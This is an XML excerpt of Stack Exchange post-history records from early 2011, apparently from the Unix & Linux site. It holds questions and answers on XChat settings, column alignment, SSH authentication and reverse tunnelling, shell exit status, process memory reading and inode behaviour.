  <row Id="18004" PostHistoryTypeId="2" PostId="7697" RevisionGUID="32b0049b-5813-4c4e-b4ba-78edf93721ea" CreationDate="2011-02-20T07:46:49.547" UserId="688" Text="I'm referring to messages like these:&#xD;&#xA;&#xD;&#xA;    yeswanth (~yeswanth@115.184.67.87) has joined #python-dev&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    yeswanth has quit (Ping timeout: 260 seconds)" />
  <row Id="18005" PostHistoryTypeId="1" PostId="7697" RevisionGUID="32b0049b-5813-4c4e-b4ba-78edf93721ea" CreationDate="2011-02-20T07:46:49.547" UserId="688" Text="How to hide user status messages in XChat?" />
  <row Id="18006" PostHistoryTypeId="3" PostId="7697" RevisionGUID="32b0049b-5813-4c4e-b4ba-78edf93721ea" CreationDate="2011-02-20T07:46:49.547" UserId="688" Text="éxchatà" />
  <row Id="18007" PostHistoryTypeId="25" PostId="7691" RevisionGUID="9f12c572-1eea-450e-8575-b7cdf07f74dd" CreationDate="2011-02-20T08:23:14.423" Comment="http://twitter.com/#!/StackUnix/status/39238635622637568" />
  <row Id="18008" PostHistoryTypeId="2" PostId="7698" RevisionGUID="be64f5d9-3635-4f70-9433-49167a397eb1" CreationDate="2011-02-20T08:45:45.837" UserId="1262" Text="Sometimes, I'm getting as an input tab separated list, which is not quite aligned, for instance&#xD;&#xA;&#xD;&#xA;    var1  var2  var3&#xD;&#xA;    var_with_long_name_which_ruins_alignment  var2 var3&#xD;&#xA;&#xD;&#xA;Is there an easy way to render them aligned?&#xD;&#xA;&#xD;&#xA;    var1                                      var2  var3&#xD;&#xA;    var_with_long_name_which_ruins_alignment  var2  var3" />
  <row Id="18009" PostHistoryTypeId="1" PostId="7698" RevisionGUID="be64f5d9-3635-4f70-9433-49167a397eb1" CreationDate="2011-02-20T08:45:45.837" UserId="1262" Text="command to layout tab separated list nicely" />
  <row Id="18010" PostHistoryTypeId="3" PostId="7698" RevisionGUID="be64f5d9-3635-4f70-9433-49167a397eb1" CreationDate="2011-02-20T08:45:45.837" UserId="1262" Text="écommandölineàécsvà" />
  <row Id="18011" PostHistoryTypeId="5" PostId="7679" RevisionGUID="c91eba30-28c2-49ce-9263-ff793d5150f1" CreationDate="2011-02-20T08:50:54.450" UserId="2421" Comment="footnote was misinterpreted as a hyperlink; link to UEFI" Text="Historically, hard drives have only been able to contain at most four partitions because of the originally defined format of the partition table. This is not specific to operating systems. You simply can't create more than four primary partitions.*&#xD;&#xA;&#xD;&#xA;In order to circumvent this limit and still remain compatible with older systems, you can create an extended partition however. An extended partition can contain multiple logical partitions within it. This allows you to create more than four partitions in total, without having to change the format of the partition table.&#xD;&#xA;&#xD;&#xA;If you're interested in the details, you can look at the Wikipedia entries on [disk partitioning][1] or the [master boot record][2].&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;\* At least on computers with BIOS firmware, I don't know if the [UEFI standard][3] (a BIOS-replacement) lifts this limitation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Disk_partitioning&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Master_boot_record&#xD;&#xA;  [3]: http://www.uefi.org/" />
  <row Id="18012" PostHistoryTypeId="24" PostId="7679" RevisionGUID="b0549dd8-749f-477c-97c9-6471cc7325eb" CreationDate="2011-02-20T08:50:54.450" Comment="Proposed by 2421 approved by 73 edit id of 37" />
  <row Id="18013" PostHistoryTypeId="2" PostId="7699" RevisionGUID="2e77a09d-f359-4495-8d5f-9ecedab727ba" CreationDate="2011-02-20T09:27:40.053" UserId="3041" Text="- rightclick the channel tab&#xD;&#xA;- point to settings&#xD;&#xA;- click on hide join/part messages" />
  <row Id="18014" PostHistoryTypeId="5" PostId="7699" RevisionGUID="c14270d1-2a0e-4793-a144-235f8bb7c5ef" CreationDate="2011-02-20T09:38:05.360" UserId="73" Comment="added 7 characters in body" Text="- Right-click the &quot;channel&quot; tab&#xD;&#xA;- Point to &quot;settings&quot;&#xD;&#xA;- Click on &quot;hide join/part messages&quot;" />
  <row Id="18015" PostHistoryTypeId="2" PostId="7700" RevisionGUID="48533397-8a5d-469e-890e-25e21664d9bd" CreationDate="2011-02-20T09:41:45.793" UserId="1594" Text="Currently I can only login to my remote linux via the &quot;ubuntu&quot; user account, without a password (via SSH authentication). I have another user configured on the machine, and if I try to login with its username + password I get&#xD;&#xA;&#xD;&#xA;&gt; Disconnected: No supported&#xD;&#xA;&gt; authentication methods available&#xD;&#xA;&#xD;&#xA;How do I configure this user to accept user/pass authentication?" />
  <row Id="18016" PostHistoryTypeId="1" PostId="7700" RevisionGUID="48533397-8a5d-469e-890e-25e21664d9bd" CreationDate="2011-02-20T09:41:45.793" UserId="1594" Text="How to enable remote login?" />
  <row Id="18017" PostHistoryTypeId="3" PostId="7700" RevisionGUID="48533397-8a5d-469e-890e-25e21664d9bd" CreationDate="2011-02-20T09:41:45.793" UserId="1594" Text="éubuntuàéloginàéauthenticationà" />
  <row Id="18018" PostHistoryTypeId="2" PostId="7701" RevisionGUID="23ee37d7-4e24-45d5-a126-2455a37c3a3d" CreationDate="2011-02-20T09:57:21.540" UserId="3169" Text="Here's a script to do it:&#xD;&#xA;&#xD;&#xA;**aligntabs.pl**&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;&#xD;&#xA;    my $delim = '\s*\t\s*';&#xD;&#xA;&#xD;&#xA;    my %length = ();&#xD;&#xA;    my @lines = ();&#xD;&#xA;    for my $line (&lt;&gt;) {&#xD;&#xA;        chomp $line;&#xD;&#xA;        my @words = split $delim, $line;&#xD;&#xA;        my $numwords = scalar(@words);&#xD;&#xA;        for my $i (0..$numwords-1) {&#xD;&#xA;            my $maxlen = $length{$i} // 0;&#xD;&#xA;            my $thislen = length($words[$i]);&#xD;&#xA;            $maxlen = ($thislen &gt; $maxlen)? $thislen: $maxlen;&#xD;&#xA;            $length{$i} = $maxlen;&#xD;&#xA;        }&#xD;&#xA;        push @lines, [@words];&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    foreach my $wordsref (@lines) {&#xD;&#xA;        my @words = @$wordsref;&#xD;&#xA;        my $numwords = scalar(@words);&#xD;&#xA;        for my $i (0..$numwords-1) {&#xD;&#xA;            if ($i &lt; $numwords-1) {&#xD;&#xA;                my $fieldlen = $length{$i};&#xD;&#xA;                printf &quot;%-${fieldlen}s &quot;, $words[$i];&#xD;&#xA;            }&#xD;&#xA;            else {&#xD;&#xA;                print $words[$i];&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        print &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**usage**&#xD;&#xA;&#xD;&#xA;    $ aligntabs.pl &lt; infile&#xD;&#xA;    var1                                     var2 var3&#xD;&#xA;    var_with_long_name_which_ruins_alignment var2 var3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18019" PostHistoryTypeId="2" PostId="7702" RevisionGUID="71708ae0-af32-4b51-ac6f-728bfb7400ff" CreationDate="2011-02-20T10:03:29.260" UserId="591" Text="I suspect that your sshd is configured to allow access via public key authentication and to disallow access via password.&#xD;&#xA;&#xD;&#xA;There are a couple of thiongs that you can do. The better option is to generate a key-pair for the new account and to copy the public key to your remote host ~/.ssh/authorized_keys file. You can use ssh-keygen or puttygen etc to generate the keys.&#xD;&#xA;&#xD;&#xA;Alternatively you can enable sshd password authentication. Edit the /etc/ssh/sshd_config file and ensure that the PasswordAuthentication directive is set to yes&#xD;&#xA;&#xD;&#xA;    PasswordAuthentication  yes&#xD;&#xA;&#xD;&#xA; Save the file and restart sshd and you should then be able to use passwords. " />
  <row Id="18022" PostHistoryTypeId="25" PostId="7698" RevisionGUID="8828c3f7-699d-4289-ae83-d7755b90d748" CreationDate="2011-02-20T11:23:14.777" Comment="http://twitter.com/#!/StackUnix/status/39283935276052480" />
  <row Id="18023" PostHistoryTypeId="2" PostId="7704" RevisionGUID="aad8631f-e403-4942-8e74-3bedcc1191ee" CreationDate="2011-02-20T11:43:35.777" UserId="4868" Text="hi, &#xD;&#xA;&#xD;&#xA;when in gone through one shell script(.sh) file i have seen the term &quot;$?&quot;&#xD;&#xA;&#xD;&#xA;May i know what is the significance of this?" />
  <row Id="18024" PostHistoryTypeId="1" PostId="7704" RevisionGUID="aad8631f-e403-4942-8e74-3bedcc1191ee" CreationDate="2011-02-20T11:43:35.777" UserId="4868" Text="meaning of $? in the shell script" />
  <row Id="18025" PostHistoryTypeId="3" PostId="7704" RevisionGUID="aad8631f-e403-4942-8e74-3bedcc1191ee" CreationDate="2011-02-20T11:43:35.777" UserId="4868" Text="élinuxàéshellöscriptà" />
  <row Id="18026" PostHistoryTypeId="5" PostId="7286" RevisionGUID="ad23ccfb-1327-4081-84df-6412b10d88f7" CreationDate="2011-02-20T11:46:03.497" UserId="4523" Comment="I will read mans more carefully!" Text="Just don't set password for user. If there is already a password remove it by using `passwd -l &lt;username&gt;`.&#xD;&#xA;&#xD;&#xA;But it would be still possible to log in as this user - by using authorized_keys, or via su or sudo from some privileged account." />
  <row Id="18027" PostHistoryTypeId="2" PostId="7705" RevisionGUID="8d1e39e5-3bdd-4f3a-b4bc-b765b6fe0f6a" CreationDate="2011-02-20T11:50:28.677" UserId="2421" Text="`$?` expands to the exit status of the most recently executed foreground pipeline. See the [Special Parameters section of the Bash manual][1].&#xD;&#xA;&#xD;&#xA;In simpler terms, it's the exit status of the last command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/Special-Parameters.html#Special-Parameters" />
  <row Id="18028" PostHistoryTypeId="2" PostId="7706" RevisionGUID="a6d7b178-307f-42a9-b5b9-4df0ea0b4145" CreationDate="2011-02-20T11:52:09.403" UserId="4537" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to read a child process's stack but with no luck.&#xD;&#xA;I know it is possible using ptrace, but ptrace's interface allows you to read only one word at a time, and I'm trying to scan a larger portions of the stack.&#xD;&#xA;&#xD;&#xA;I've also tried reading the proc/$pid/mem from the boundries of the stack as extracted from the proc/$pid/maps file after first using ptrace to attach to it&#xD;&#xA;(as suggested in http://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux) but the read keeps failing (even when running as root) although the same code succeeds when tried reading from different parts of the process (e.g. heap).&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;Is there any other option?&#xD;&#xA;&#xD;&#xA;Thanks-&#xD;&#xA;&#xD;&#xA;Rami&#xD;&#xA;" />
  <row Id="18029" PostHistoryTypeId="1" PostId="7706" RevisionGUID="a6d7b178-307f-42a9-b5b9-4df0ea0b4145" CreationDate="2011-02-20T11:52:09.403" UserId="4537" Text="Read The Stack of Another Process?" />
  <row Id="18030" PostHistoryTypeId="3" PostId="7706" RevisionGUID="a6d7b178-307f-42a9-b5b9-4df0ea0b4145" CreationDate="2011-02-20T11:52:09.403" UserId="4537" Text="élinuxàékernelàémemoryàéprocà" />
  <row Id="18031" PostHistoryTypeId="2" PostId="7707" RevisionGUID="148af6d5-ba01-4819-88f6-e4d3df19d9cb" CreationDate="2011-02-20T12:44:05.763" UserId="1594" Text="I just renamed a log file to &quot;foo.log.old&quot;, and assumed that the application will start writing a new logfile at &quot;foo.log&quot;. I was surprised to discover that it tracked the logfile to its new name, and kept appending lines to &quot;foo.log.old&quot;.&#xD;&#xA;&#xD;&#xA;In Windows, I'm not familiar with this kind of behavior - I don't know if it's even possible to implement it. How exactly is this behavior implemented in linux? Where can I learn more about it?" />
  <row Id="18032" PostHistoryTypeId="1" PostId="7707" RevisionGUID="148af6d5-ba01-4819-88f6-e4d3df19d9cb" CreationDate="2011-02-20T12:44:05.763" UserId="1594" Text="How do open files behave on linux systems?" />
  <row Id="18033" PostHistoryTypeId="3" PostId="7707" RevisionGUID="148af6d5-ba01-4819-88f6-e4d3df19d9cb" CreationDate="2011-02-20T12:44:05.763" UserId="1594" Text="éfilesà" />
  <row Id="18034" PostHistoryTypeId="2" PostId="7708" RevisionGUID="4fb3f1a3-ca26-42a4-afe2-88cb2521c52a" CreationDate="2011-02-20T13:44:58.560" UserId="4856" Text="To really see how this behavior is implemented you could look at some Unix programming books. Mathepic is right in that it is related to an inode. The actual pathname is only used to open the file, once that's done the program references it by its opened file descriptor. The file descriptor in turn references the inode, which in this case doesn't care if the underlying files name has changed.&#xD;&#xA;&#xD;&#xA;As far as implementing this in Windows, that's a question for another site.&#xD;&#xA;&#xD;&#xA;To read more about this without hitting the books just search around for linux filesystems and inodes. There might not be a clear answer, but you'll be able to understand why." />
  <row Id="18035" PostHistoryTypeId="2" PostId="7709" RevisionGUID="4968c527-45f3-45bf-9489-07f9b700e7e7" CreationDate="2011-02-20T13:48:09.693" UserId="3879" Text="In addition to what cjm has told above, if the value of $? is 0, then the previous process did terminate normally (or successfully). Otherwise there was some error." />
  <row Id="18036" PostHistoryTypeId="2" PostId="7710" RevisionGUID="f009fc35-298b-4570-8895-b8ffd9b05da8" CreationDate="2011-02-20T14:19:10.500" UserId="131" Text="My home computer is behind an ISP-level NAT which does not allow me to host game servers as a result.&#xD;&#xA;&#xD;&#xA;I have a VPS which I use as a web server. I want to host a game server of Minecraft, but the VPS isn't powerful enough.&#xD;&#xA;&#xD;&#xA;Both my computer and my VPS are running Linux. My computer can connect to my server, but the server can not open connections to my home computer.&#xD;&#xA;&#xD;&#xA;What I would like to achieve is this:&#xD;&#xA;&#xD;&#xA;* Some user connects to port 27015 on my server.&#xD;&#xA;* The server then forwards all traffic from port 27015 on the server to port 27015 on my home computer via some connection that I opened with my home computer. &#xD;&#xA;&#xD;&#xA;Can ssh do this? I know it can do the reverse. Is there some other program that does this if not?" />
  <row Id="18037" PostHistoryTypeId="1" PostId="7710" RevisionGUID="f009fc35-298b-4570-8895-b8ffd9b05da8" CreationDate="2011-02-20T14:19:10.500" UserId="131" Text="How can I forward traffic from my publicly available server to a computer that is not publicly available?" />
  <row Id="18038" PostHistoryTypeId="3" PostId="7710" RevisionGUID="f009fc35-298b-4570-8895-b8ffd9b05da8" CreationDate="2011-02-20T14:19:10.500" UserId="131" Text="ésshàésshötunnelingàéportöforwardingà" />
  <row Id="18039" PostHistoryTypeId="25" PostId="7704" RevisionGUID="9c36b3a9-ac4d-447c-bc7a-2d57571cae44" CreationDate="2011-02-20T14:23:14.380" Comment="http://twitter.com/#!/StackUnix/status/39329232488366080" />
  <row Id="18040" PostHistoryTypeId="2" PostId="7711" RevisionGUID="3d505250-45ab-423b-a746-95289e60e094" CreationDate="2011-02-20T15:11:03.073" UserId="2596" Text="Short answer: yes, *ssh* can do this.  The answer's in your question: &quot;reverse&quot; tunneling.  See the **-R** option to the *ssh* client:&#xD;&#xA;&#xD;&#xA;&gt;  **-R [bind_address:]port:host:hostport**&#xD;&#xA;&#xD;&#xA;             Specifies that the given *port* on the remote (server) *host* is to be forwarded to the given&#xD;&#xA;             host and port on the local side.  This works by allocating a socket to listen to *port* on the&#xD;&#xA;             remote side, and whenever a connection is made to this port, the connection is forwarded&#xD;&#xA;             over the secure channel, and a connection is made to host port *hostport* from the local&#xD;&#xA;             machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More reading at the ever-useful *howtoforge*: [Reverse SSH Tunneling][1], but the basic principle is you *ssh* from your private host to your public one, specifying the port to map back.  Remember to set your bind address in the command, otherwise it will only be bound to the local loop by default.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/reverse-ssh-tunneling" />
  <row Id="18041" PostHistoryTypeId="2" PostId="7712" RevisionGUID="01dc508a-3c47-47b4-ab60-9c16c2ba6b4d" CreationDate="2011-02-20T15:12:49.860" UserId="3270" Text="Programs connect to files through a number maintained by the filesystem (called an inode on traditional unix filesystems), to which the name is just a reference (and possibly not a unique reference at that).&#xD;&#xA;&#xD;&#xA;So several things to be aware of:&#xD;&#xA;&#xD;&#xA;1. Moving a file using `mv` does not change that underling number unless you move it across filesystems (which is equivalent to using `cp` then `rm` on the original).&#xD;&#xA;2. Because more than one name can connect to a single file (i.e. we have hard links), the data in &quot;deleted&quot; files doesn't go away until *all* references to the underling file go away.&#xD;&#xA;3. Perhaps most important: when a program `open`s a file it makes a reference to it that is (for the purposes of when the data will be deleted) equivalent to a having a file name connected to it.&#xD;&#xA;&#xD;&#xA;This gives rise to several behaviors like:&#xD;&#xA;&#xD;&#xA;* A program can `open` a file for reading, but not actually read it until after the user as `rm`ed it at the command line, *and the program will still have access to the data*.&#xD;&#xA;* The one you encountered: `mv`ing a file does not disconnect the relationship between the file and any programs that have it open (unless you move across filesystem boundaries, in which case the program still have a version of the original to work on)." />
  <row Id="18042" PostHistoryTypeId="5" PostId="7711" RevisionGUID="78808174-186a-47db-be6f-13bca208dc54" CreationDate="2011-02-20T15:16:04.897" UserId="2596" Comment="added 3 characters in body" Text="Short answer: yes, *ssh* can do this.  The answer's in your question: &quot;reverse&quot; tunneling.  See the **-R** option to the *ssh* client:&#xD;&#xA;&#xD;&#xA;&gt;  **-R [bind_address:]port:host:hostport**  &#xD;&#xA;             Specifies that the given *port* on the remote (server) *host* is to be forwarded to the given&#xD;&#xA;             host and port on the local side.  This works by allocating a socket to listen to *port* on the&#xD;&#xA;             remote side, and whenever a connection is made to this port, the connection is forwarded&#xD;&#xA;             over the secure channel, and a connection is made to host port *hostport* from the local&#xD;&#xA;             machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More reading at the ever-useful *How To Forge* ([Reverse SSH Tunneling][1]), but the basic principle is you *ssh* from your private host to your public one, specifying the port to map back.  Remember to set your bind address in the command, otherwise it will only be bound to the local loop by default.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/reverse-ssh-tunneling" />
  <row Id="18043" PostHistoryTypeId="5" PostId="7712" RevisionGUID="58e28dd7-befb-455e-a23a-7f9a077af8bf" CreationDate="2011-02-20T15:29:32.597" UserId="3270" Comment="added 507 characters in body" Text="Programs connect to files through a number maintained by the filesystem (called an inode on traditional unix filesystems), to which the name is just a reference (and possibly not a unique reference at that).&#xD;&#xA;&#xD;&#xA;So several things to be aware of:&#xD;&#xA;&#xD;&#xA;1. Moving a file using `mv` does not change that underling number unless you move it across filesystems (which is equivalent to using `cp` then `rm` on the original).&#xD;&#xA;2. Because more than one name can connect to a single file (i.e. we have hard links), the data in &quot;deleted&quot; files doesn't go away until *all* references to the underling file go away.&#xD;&#xA;3. Perhaps most important: when a program `open`s a file it makes a reference to it that is (for the purposes of when the data will be deleted) equivalent to a having a file name connected to it.&#xD;&#xA;&#xD;&#xA;This gives rise to several behaviors like:&#xD;&#xA;&#xD;&#xA;* A program can `open` a file for reading, but not actually read it until after the user as `rm`ed it at the command line, *and the program will still have access to the data*.&#xD;&#xA;* The one you encountered: `mv`ing a file does not disconnect the relationship between the file and any programs that have it open (unless you move across filesystem boundaries, in which case the program still have a version of the original to work on).&#xD;&#xA;* If a program has `open`ed a file for writing, and the user `rm`s it's last filename at the command line, the program can keep right on putting stuff into the file, but as soon as it closes there will be no more reference to that data and it will go away.&#xD;&#xA;* Two programs that communicate through one or more files can obtain a crude, partial security by removing the file(s) after they are finished `open`ing. (This is not *actual* security mind, it just transforms a gaping hole into a race condition.)" />
  <row Id="18044" PostHistoryTypeId="2" PostId="7713" RevisionGUID="df6cd854-65b3-4f65-b949-896fe3cbb27e" CreationDate="2011-02-20T15:30:53.673" UserId="732" Text="You could probably also do this with netcat, as an alternative.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Netcat#Port_Forwarding_or_Port_Mapping&#xD;&#xA;&#xD;&#xA;Netcat is worth having around.  You can do all kinds of interesting things with it." />
  <row Id="18045" PostHistoryTypeId="2" PostId="7714" RevisionGUID="3aac08f8-0fa7-449f-868a-9d15dcc73896" CreationDate="2011-02-20T15:41:38.910" UserId="732" Text="Cjm's answer is correct, but &quot;$?&quot; can be used in silly ways in shell scripts, and I'd like to warn against that.  A lot of bad shell scripts have a repeated pattern of code:&#xD;&#xA;&#xD;&#xA;    run_some_command&#xD;&#xA;    EXIT_STATUS=$?&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$EXIT_STATUS&quot; -eq &quot;0&quot; ]&#xD;&#xA;    then&#xD;&#xA;        # Do work when command exists on success&#xD;&#xA;    else&#xD;&#xA;        # Do work for when command has a failure exit&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If at all possible (readability concerns sometimes intrude) you should code this situation differently:&#xD;&#xA;&#xD;&#xA;    if run_some_command&#xD;&#xA;    then&#xD;&#xA;        # Do work when command exists on success&#xD;&#xA;    else&#xD;&#xA;        # Do failure exit work&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;This latter usage is faster, does not contaminate the shell's variable namespace with what amounts to temp variables, can often be alot more readable for humans and encourages the use of &quot;positive logic&quot;, the practice of writing conditionals without negations, which has cognitive simplicity in most situations.  It does away with the use of &quot;$?&quot; for the most part." />
  <row Id="18046" PostHistoryTypeId="2" PostId="7715" RevisionGUID="2e46d3a6-020d-45aa-a00f-1198f1d1523f" CreationDate="2011-02-20T16:05:24.983" UserId="1594" Text="I've been a Windows user since forever. I touched linux here and there, but my next job will have me use linux as my desktop computer 100% of the time.&#xD;&#xA;&#xD;&#xA;What are some essential tips/info I should know about?&#xD;&#xA;&#xD;&#xA;(Please community wiki this question)" />
  <row Id="18047" PostHistoryTypeId="1" PostId="7715" RevisionGUID="2e46d3a6-020d-45aa-a00f-1198f1d1523f" CreationDate="2011-02-20T16:05:24.983" UserId="1594" Text="Long time Windows user starting to use Linux - what is the essential knowledge I should learn?" />
  <row Id="18048" PostHistoryTypeId="3" PostId="7715" RevisionGUID="2e46d3a6-020d-45aa-a00f-1198f1d1523f" CreationDate="2011-02-20T16:05:24.983" UserId="1594" Text="éwindowsà" />
  <row Id="18049" PostHistoryTypeId="2" PostId="7716" RevisionGUID="0945e514-1a99-4857-8201-20f86b51587c" CreationDate="2011-02-20T16:12:59.583" UserId="4241" Text="Scratchbox is cross-compilation suite.&#xD;&#xA;&#xD;&#xA;It looks like Scratchbox 2 (sbox2) is new version of Scratchbox 1, maintained by Nokia for Maemo development. You can use it for general cross-compilation too. Or to put it better way: fork of Scratchbox 1. &#xD;&#xA;&#xD;&#xA;Main advantege of Scratchbox 2 is more elegant approach on some corner cases.&#xD;&#xA;&#xD;&#xA;Scratchbox 2 also performs better, as it uses native tools whenever possible, and otherwise emulation. For Scratchbox 2 you don't have to modify any host tools. Scratchbox 1 may require some changes and recompilations. " />
  <row Id="18050" PostHistoryTypeId="2" PostId="7717" RevisionGUID="d12ca5f2-1c20-448d-baa7-6568d54901ea" CreationDate="2011-02-20T16:16:16.443" UserId="4241" Text="As last quote says, you have &quot;dhcp&quot;, when you should have &quot;manual&quot; for wlan0.&#xD;&#xA;&#xD;&#xA;Try changing&#xD;&#xA;&#xD;&#xA;&gt; iface wlan0 inet dhcp&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;&gt; iface wlan0 inet manual&#xD;&#xA;&#xD;&#xA;in `/etc/network/interfaces`.&#xD;&#xA;&#xD;&#xA;Another choice is to use manager for network connections, for example Gnome's Network Manager or [WICD][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/WICD" />
  <row Id="18051" PostHistoryTypeId="2" PostId="7718" RevisionGUID="34567fdf-4447-44ec-992c-3648be4b081f" CreationDate="2011-02-20T17:19:46.053" UserId="3879" Text="So, the answer becomes:&#xD;&#xA;&#xD;&#xA;    column -t file_name" />
  <row Id="18052" PostHistoryTypeId="25" PostId="7707" RevisionGUID="27b96a7a-8152-4709-adc1-02c571da0c44" CreationDate="2011-02-20T17:23:14.677" Comment="http://twitter.com/#!/StackUnix/status/39374531911098368" />
  <row Id="18053" PostHistoryTypeId="2" PostId="7719" RevisionGUID="e567f852-7be8-4916-a823-8f96e4c1d4e3" CreationDate="2011-02-20T17:31:44.380" UserId="4921" Text="How do i get K3b to split a volumes across several mediums?&#xD;&#xA;For example if i give it a folder that has 6Gb (not one file of 6gb), it should create several discs of 4,4 GB automatically, instead of me doing it manually?&#xD;&#xA;If K3B cant do it, is there any software that can?" />
  <row Id="18054" PostHistoryTypeId="1" PostId="7719" RevisionGUID="e567f852-7be8-4916-a823-8f96e4c1d4e3" CreationDate="2011-02-20T17:31:44.380" UserId="4921" Text="K3b to split volume across mediums" />
  <row Id="18055" PostHistoryTypeId="3" PostId="7719" RevisionGUID="e567f852-7be8-4916-a823-8f96e4c1d4e3" CreationDate="2011-02-20T17:31:44.380" UserId="4921" Text="élinuxà" />
  <row Id="18056" PostHistoryTypeId="2" PostId="7720" RevisionGUID="79a2432b-a163-4674-b00d-c237581105a9" CreationDate="2011-02-20T17:41:35.807" UserId="1172" Text="I have been experimenting with IPv6. Hurricane Electric through their http://tunnelbroker.net service offer a free IPv6 tunnel. I would like to be able to use this reliably on my Fedora 14 desktop workstation. I've tried a number of different recipes on the web to get this set up but none seem to fit a straightforward workstation install.&#xD;&#xA;&#xD;&#xA;I currently use the older static network set up (through /etc/init.d/network) rather than NetworkManager on a wired Ethernet network." />
  <row Id="18057" PostHistoryTypeId="1" PostId="7720" RevisionGUID="79a2432b-a163-4674-b00d-c237581105a9" CreationDate="2011-02-20T17:41:35.807" UserId="1172" Text="How do I set up an IPv6 tunnel in Fedora?" />
  <row Id="18058" PostHistoryTypeId="3" PostId="7720" RevisionGUID="79a2432b-a163-4674-b00d-c237581105a9" CreationDate="2011-02-20T17:41:35.807" UserId="1172" Text="énetworkingàéfedoraàéipv6à" />
  <row Id="18059" PostHistoryTypeId="4" PostId="6596" RevisionGUID="3f7e1288-7ed3-4d0e-a484-3c37b4a10daf" CreationDate="2011-02-20T17:55:40.750" UserId="3635" Comment="Added a space in the header" Text="how do I zip/unzip on the unix command line?" />
  <row Id="18060" PostHistoryTypeId="24" PostId="6596" RevisionGUID="f1839e20-9a6c-446f-a628-20ce6e0c23d6" CreationDate="2011-02-20T17:55:40.750" Comment="Proposed by 3635 approved by 73 edit id of 40" />
  <row Id="18061" PostHistoryTypeId="5" PostId="7706" RevisionGUID="6c82da84-c596-4d9b-b1ce-53a774c071c6" CreationDate="2011-02-20T17:55:54.870" UserId="4241" Comment="No signatures, better linking" Text="I'm trying to read a child process's stack but with no luck.&#xD;&#xA;I know it is possible using `ptrace`, but `ptrace`'s interface allows you to read only one word at a time, and I'm trying to scan a larger portions of the stack.&#xD;&#xA;&#xD;&#xA;I've also tried reading the `/proc/$pid/mem` from the boundries of the stack as extracted from the `/proc/$pid/maps` file after first using ptrace to attach to it&#xD;&#xA;(as suggested [here][1]) but the read keeps failing (even when running as root) although the same code succeeds when tried reading from different parts of the process (e.g. heap).&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;Is there any other option?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux" />
  <row Id="18062" PostHistoryTypeId="4" PostId="7706" RevisionGUID="6c82da84-c596-4d9b-b1ce-53a774c071c6" CreationDate="2011-02-20T17:55:54.870" UserId="4241" Comment="No signatures, better linking" Text="Read the stack of another process?" />
  <row Id="18063" PostHistoryTypeId="24" PostId="7706" RevisionGUID="edf56b43-659a-457c-9afa-9302c6b29dec" CreationDate="2011-02-20T17:55:54.870" Comment="Proposed by 4241 approved by 73 edit id of 39" />
  <row Id="18064" PostHistoryTypeId="4" PostId="7283" RevisionGUID="85035947-fcac-47d7-af01-1e3c3dc19c3b" CreationDate="2011-02-20T17:56:04.667" UserId="2511" Comment="better title" Text="How can I make a user able to log in with ssh keys but not with a password?" />
  <row Id="18065" PostHistoryTypeId="24" PostId="7283" RevisionGUID="ee35567c-dad0-41a8-b32a-9f970078cca3" CreationDate="2011-02-20T17:56:04.667" Comment="Proposed by 2511 approved by 73 edit id of 38" />
  <row Id="18066" PostHistoryTypeId="5" PostId="7715" RevisionGUID="5c969faf-d97f-4884-896e-20d804b5a54a" CreationDate="2011-02-20T17:58:20.093" UserId="73" Comment="deleted 39 characters in body" Text="I've been a Windows user since forever. I touched linux here and there, but my next job will have me use linux as my desktop computer 100% of the time.&#xD;&#xA;&#xD;&#xA;What are some essential tips/info I should know about?&#xD;&#xA;" />
  <row Id="18067" PostHistoryTypeId="16" PostId="7715" RevisionGUID="cb5638f5-164f-49d7-ab56-59bc632b1c4e" CreationDate="2011-02-20T17:58:27.953" UserId="73" />
  <row Id="18068" PostHistoryTypeId="5" PostId="7704" RevisionGUID="1a08af39-3e60-4473-a373-c4fb1ca54a8e" CreationDate="2011-02-20T17:58:56.097" UserId="1207" Comment="Fixed grammar a bit." Text="When going through one shell script, I saw the term &quot;$?&quot;. What is the significance of this term?" />
  <row Id="18069" PostHistoryTypeId="4" PostId="7704" RevisionGUID="1a08af39-3e60-4473-a373-c4fb1ca54a8e" CreationDate="2011-02-20T17:58:56.097" UserId="1207" Comment="Fixed grammar a bit." Text="What is the meaning of $? in a shell script?" />
  <row Id="18070" PostHistoryTypeId="5" PostId="6596" RevisionGUID="a6d4abe9-1de5-4a10-8996-3d3a09ff66d5" CreationDate="2011-02-20T18:19:09.863" UserId="1207" Comment="Removed evertyhing that was irrelvant. " Text="How can I create and extract zip archives from the command line?&#xD;&#xA;" />
